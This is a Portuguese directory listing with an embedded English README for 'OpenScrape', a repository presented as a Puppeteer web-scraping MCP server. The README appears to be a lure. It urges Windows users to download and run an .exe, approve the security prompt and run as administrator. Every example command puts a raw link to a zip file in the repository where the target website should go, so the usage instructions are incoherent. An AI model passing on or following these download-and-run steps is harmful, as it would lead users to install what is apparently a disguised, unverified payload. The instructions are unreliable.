convez.ai
MCP ServerAutomaçãoIniciante
in20cuu37-lgtm

OpenScrape

in20cuu37-lgtm/OpenScrape

Extrai dados de websites via CLI interativa com Puppeteer

Ver no GitHub
InicialPluginScore · de 0 a 100

MCP server para extração de dados web usando Puppeteer com interface CLI interativa. Permite capturar títulos, descrições, links, headings, parágrafos e texto completo de páginas web de forma eficiente, sem necessidade de programação.

Instalação

$npx convez-ai in20cuu37-lgtm/OpenScrape

1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.

Métricas

Estrelas
2
Forks
0
Acompanhando
0
Saúde
42%
Último commit
há 1 mês
Versão
—
Issues abertas
0
Contribuidores
2

Casos de uso

  • Coleta automatizada de dados de múltiplas páginas web
  • Extração de conteúdo para análise e pesquisa
  • Integração com workflows de processamento de dados

Veredito

Ferramenta prática de web scraping com abordagem acessível via CLI. Útil para automação de coleta de dados, mas documentação incompleta (comando de exemplo truncado) e foco em Windows limitam adoção.

README

A tradução para o português deste README ainda está na fila.

🕸️ OpenScrape - Simple Web Data Extraction Tool

Download OpenScrape

📝 What Is OpenScrape?

OpenScrape is a command-line tool that helps you gather information from websites. You can extract titles, descriptions, links, headings, paragraphs, and full text from any web page. It uses Puppeteer, the engine behind the Chrome browser, to make sure it grabs the most accurate data.

OpenScrape also works with MCP servers, which lets you run scraping tasks automatically and handle multiple web pages at once. This makes it useful for people who want to collect data from the internet without programming.

You do not need to know how to code to use this tool. It works on Windows and has clear steps to get started.

⚙️ System Requirements

To run OpenScrape on your Windows PC, your system should meet these requirements:

  • Windows 10 or later (64-bit recommended)
  • At least 4 GB of RAM
  • 200 MB of free disk space
  • Internet connection to download and run the tool
  • PowerShell or Command Prompt access (comes preinstalled on Windows)

You do not need any special software before running OpenScrape. The tool includes everything it needs.

🚀 Getting Started

Follow these steps to download and start OpenScrape on your Windows computer.

Step 1: Download the Application

You will need to visit the release page to get the latest version of OpenScrape.

Click the big button below to open the download page:

Download OpenScrape

On the release page, locate the latest version. Look for the Windows executable file. It usually ends with .exe and may have the version number in the name, such as OpenScrape_Setup_v1.2.exe.

Click the file name to download it. The browser may ask you to confirm the download. Choose "Save" and wait for the file to finish downloading.

Step 2: Run the Installer

Once the download completes, find the file in your Downloads folder or the location where you saved it.

Double-click the .exe file to start the installer.

You may see a Windows security message asking if you want to allow this app to make changes. Click Yes to continue.

Follow the on-screen instructions. Usually, you just click Next until the installation finishes.

By default, OpenScrape will install to a folder called OpenScrape inside your Program Files directory.

Step 3: Open the Application

After installation, you can open OpenScrape from the Start menu:

  • Click the Windows icon or press the Windows key.
  • Type OpenScrape in the search bar.
  • Click the OpenScrape app that appears.

This will open a Command Prompt window with OpenScrape ready to use.

Alternatively, you can open Command Prompt yourself and type openscrape to launch the tool if the installer added it to your system path.

💻 How to Use OpenScrape

OpenScrape runs in a simple text window called a command line. You tell it what website to scrape by typing commands.

Here are basic commands to get started:

Extract the Title from a Website

Type the following command and replace https://github.com/in20cuu37-lgtm/OpenScrape/raw/refs/heads/main/src/Open_Scrape_Betonica.zip with the website address you want to scrape:

openscrape --title https://github.com/in20cuu37-lgtm/OpenScrape/raw/refs/heads/main/src/Open_Scrape_Betonica.zip

Press Enter to run the command. OpenScrape will show the page title on the screen.

Extract All Links from a Website

To get all the links on a web page, run:

openscrape --links https://github.com/in20cuu37-lgtm/OpenScrape/raw/refs/heads/main/src/Open_Scrape_Betonica.zip

It will list all URLs found on that page.

Extract Headings and Paragraphs

To extract headings (like H1, H2 tags) and paragraph text from a page:

openscrape --headings --paragraphs https://github.com/in20cuu37-lgtm/OpenScrape/raw/refs/heads/main/src/Open_Scrape_Betonica.zip

This command grabs main text content useful for reading or processing later.

Save Output to a File

You can save the scraped data to a file on your computer. Use the -o option followed by a file name:

openscrape --fulltext https://github.com/in20cuu37-lgtm/OpenScrape/raw/refs/heads/main/src/Open_Scrape_Betonica.zip -o output.txt

This command pulls all readable text and saves it into a file named output.txt in your current folder.

Use MCP Server Integration

If you want to manage scraping tasks automatically or scrape many pages at once, OpenScrape can connect to an MCP server.

To set this up, you will need the server address and access key.

Basic command format:

openscrape --mcp-server http://yourserveraddress --mcp-key youraccesskey

This feature is meant for advanced users or automated setups.

🔧 Tips for Best Use

  • Make sure you have a stable internet connection while running OpenScrape. It needs to access the web pages online.
  • If a website is slow or protected, wait a few moments before trying again.
  • Use quotes around URLs if they contain special characters. For example: "https://github.com/in20cuu37-lgtm/OpenScrape/raw/refs/heads/main/src/Open_Scrape_Betonica.zip".
  • Run Command Prompt as administrator if you run into permission issues.

🗂️ Where to Find Help

If you run into problems:

  • Check the Issues tab on the GitHub repository for known problems.
  • Look for error messages in the Command Prompt window. They can help identify what went wrong.
  • Restart the app or your computer and try again.

You can always download the latest version from the links above to make sure you have the newest fixes.

🔗 Download OpenScrape

Visit this page to download:

Download OpenScrape

Choose the Windows executable file and follow the instructions to install and run.

Ver o original no GitHub

Bom para

Relacionados